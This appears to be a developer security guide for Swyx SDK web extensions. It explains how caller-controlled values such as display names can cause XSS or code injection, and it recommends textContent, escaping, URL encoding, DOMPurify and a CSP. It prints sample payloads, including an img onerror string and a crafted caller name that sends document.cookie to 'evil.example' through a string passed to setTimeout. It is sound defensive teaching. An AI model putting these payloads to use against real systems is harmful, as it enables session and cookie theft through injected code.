Security: Handling SDK Data Safely
The SDK delivers data from your Swyx system reliably — but many values are originally entered by other people: an external caller chooses their own display name, colleagues write their presence texts, directories feed the phonebook. Swyx forwards these values as data; it does not escape or filter them for HTML or code. Your extension must therefore never interpret them as HTML or code.
- ✅ Use
textContent,createTextNode()or your framework's default text binding. - ❌ Never use
innerHTML,outerHTML,insertAdjacentHTML(),document.write(), jQuery.html(),dangerouslySetInnerHTML,v-htmlor[innerHTML]with SDK data.
Why this matters
A caller chooses their own display name. Anyone who can phone one of your users can therefore send a name like this one straight into your Web Extension:
<img src=x onerror="/* attacker code */">
If your extension writes that name with innerHTML, the browser executes the attacker's code inside your Web Extension. No access to Swyx, to your server or to the user's machine is needed — a single phone call is enough.
The injected code then runs with everything your extension can do:
- All SDK permissions of your extension — for example place calls to premium-rate numbers with
Dial, transfer calls, or read the phonebook and the call journal. - Your own web application — its session, cookies, local storage and every API it can reach.
- Exfiltration — send whatever it collected to a server of the attacker's choice.
SwyxIt! isolates your extension from the SwyxIt! application itself, but it cannot protect your extension from code that your extension executes.
Where the values come from
Handle every string you receive from the SDK as untrusted input — from requests (hub) and from events (hubBack) alike. Swyx delivers these values reliably, but it does not check whether they are harmless — it cannot, because that depends on where your extension uses them. The table shows who originally enters the most common values; it is not exhaustive.
| Source | Examples of affected fields | Who controls the value |
|---|---|---|
Calls and lines — LineDetails, NotificationCallDetails | peerName, peerNumber, calledName, redirectedFromName, lastCalledName | Any caller, including external ones |
Call journal — CallJournalItem | name, number, connectedName, dialedName | Any caller, any dialed party |
Phonebook — PhoneBookEntry | name, number, description | Users and connected directories |
Presence — UserPresence | statusText | Any user of your organization |
User and groups — LoggedInUser, UserGroup | userName, emailAddress, name | Users and administrators |
Numbers need the same care: a "number" field is a string and can contain any character.
Display data safely
Text versus markup: why textContent is safe
The attack only works if the browser treats the data as markup. The difference lies in how the value reaches the page:
innerHTMLhands the string to the browser's HTML parser. The parser decides character by character what is text and what is structure:<starts a tag,"ends an attribute,onerror=defines an event handler. Whoever controls the string therefore controls the page — and can run code.textContentnever invokes the HTML parser. The browser creates a plain text node, and every character is displayed exactly as it is.<img src=x onerror=...>appears on screen as that literal text, and nothing runs.
callerName = '<img src=x onerror=alert(1)>'
element.innerHTML = callerName → parser creates an <img> with an onerror handler → code runs
element.textContent = callerName → text node "<img src=x onerror=alert(1)>" → shown, not run
The user sees the same name in both cases — only the interpretation differs.
Escaping
Frameworks such as React, Vue and Angular build HTML internally. They stay safe by escaping every bound value: the characters that carry meaning for the HTML parser are replaced by entities, which the parser displays as text.
| Character | Escaped as | Effect |
|---|---|---|
< | < | Displayed as <, does not start a tag |
> | > | Displayed as > |
& | & | Displayed as &, does not start an entity |
" | " | Displayed as ", does not end an attribute value |
' | ' | Displayed as ', does not end an attribute value |
textContent and escaping have the same effect: the value stays data. Prefer textContent or your framework's binding over escaping strings yourself — they cannot be forgotten in one place.
Escaping is not the same as sanitizing: escaping displays everything as text, sanitizing keeps some HTML and removes the dangerous parts. Sanitizing is hard to get right; see If you really need HTML.
HTML escaping does nothing for values used in other contexts. javascript:alert(1) contains none of the characters above, yet runs code when used as a link target.
| Where the value goes | HTML escaping protects? | What to do instead |
|---|---|---|
| Element text | ✅ Yes | textContent or framework binding |
Attribute value, e.g. title | ✅ Yes | setAttribute() or framework binding |
URL, e.g. href, src | ❌ No | See Links and URLs |
JavaScript, e.g. eval() | ❌ No | See Never execute SDK data |
CSS, e.g. style | ❌ No | Do not put SDK data into styles |
Plain DOM
hubBack.onLineStateChanged(async (lineIndex) => {
const lines = await hub.GetLineDetails();
const callerName = lines[lineIndex].peerName;
const label = document.getElementById('caller-name')!;
// ✅ Safe: the browser treats the value as text, never as markup.
label.textContent = callerName;
// ❌ DANGEROUS: the browser parses the value as HTML and runs embedded code.
// label.innerHTML = callerName;
// label.innerHTML = `<b>${callerName}</b> is calling`;
});
To combine markup and data, build the elements and add the data as text:
// ✅ Safe: markup comes from your code, the caller name only ever becomes a text node.
const line = document.createElement('div');
const name = document.createElement('b');
name.textContent = callerName;
line.append(name, document.createTextNode(' is calling'));
container.replaceChildren(line);
Frameworks
React, Vue and Angular escape bound values by default, so normal bindings are safe. Their escape hatches are not:
| Framework | ✅ Safe | ❌ Dangerous with SDK data |
|---|---|---|
| React | <span>{callerName}</span> | dangerouslySetInnerHTML={{ __html: callerName }} |
| Vue | {{ callerName }} | v-html="callerName" |
| Angular | {{ callerName }} | [innerHTML]="callerName" |
| jQuery | .text(callerName) | .html(callerName), $('<div>' + callerName + '</div>') |
Links and URLs
Escaping does not make a value safe as a URL. Encode SDK data when you put it into a URL, and never use it as a complete URL without checking the scheme:
// ✅ Safe: the number is encoded as a query parameter of a URL you control.
link.href = `https://crm.example.com/search?phone=${encodeURIComponent(peerNumber)}`;
// ❌ DANGEROUS: a value such as "javascript:..." runs code when the link is clicked.
// link.href = phoneBookEntry.description;
Never execute SDK data
Do not pass SDK data to eval(), new Function(), or to setTimeout() / setInterval() as a string.
These functions treat a string as JavaScript source code and run it. setTimeout() and setInterval() are easy to overlook: given a function they are harmless, but given a string they behave like a delayed eval(). If SDK data becomes part of such a string, the caller no longer supplies text — they supply code.
// ❌ DANGEROUS: the caller name becomes part of the program code.
setTimeout("showCaller('" + line.peerName + "')", 500);
With the name Anna Schmidt, this runs the intended code:
showCaller('Anna Schmidt')
A caller who chooses the display name x'); fetch('https://evil.example/?d=' + document.cookie); (' turns it into:
showCaller('x'); fetch('https://evil.example/?d=' + document.cookie); ('')
The ' ends the string, ); ends the call, and everything after it is the attacker's own code — here it sends your extension's cookies to the attacker's server. textContent and HTML escaping do not help: this is JavaScript, not HTML, and the attack needs no < at all.
Pass functions and values instead of code strings. The value then stays data, whatever it contains:
// ✅ Safe: the caller name is passed as a value and never becomes code.
setTimeout(() => showCaller(line.peerName), 500);
The same rule applies elsewhere:
- Parse JSON with
JSON.parse(text), never witheval().JSON.parse()only reads data. - Select behavior with a lookup instead of generated code, for example
handlers[action]?.()with a fixedhandlersobject.
If you really need HTML
If your extension must render rich text, sanitize it with a maintained library such as DOMPurify right before inserting it — never with a hand-written filter:
import DOMPurify from 'dompurify';
container.innerHTML = DOMPurify.sanitize(untrustedHtml);
Defense in depth
Escaping is the primary protection. These measures limit the damage if a mistake slips through:
- Content Security Policy — serve your extension with a CSP that forbids inline scripts, for example
Content-Security-Policy: script-src 'self'. Inline event handlers such asonerror="..."are then blocked even if HTML is injected. - Request only what you need — enable
useSdk,allowStorageAccessandallowPopupsonly if your extension needs them. - Serve over HTTPS — so that nobody on the network can modify your extension's code on its way to SwyxIt!.
Checklist
- No SDK value reaches
innerHTML,outerHTML,insertAdjacentHTML(),document.write()or a framework's raw-HTML binding. - SDK values in URLs are encoded with
encodeURIComponent(), and no SDK value is used as a complete URL without a scheme check. - No SDK value is executed (
eval(),new Function(), string timers). - Rich text, if any, is sanitized with DOMPurify.
- The extension is served over HTTPS with a Content Security Policy.
-
useSdk,allowStorageAccessandallowPopupsare enabled only where needed.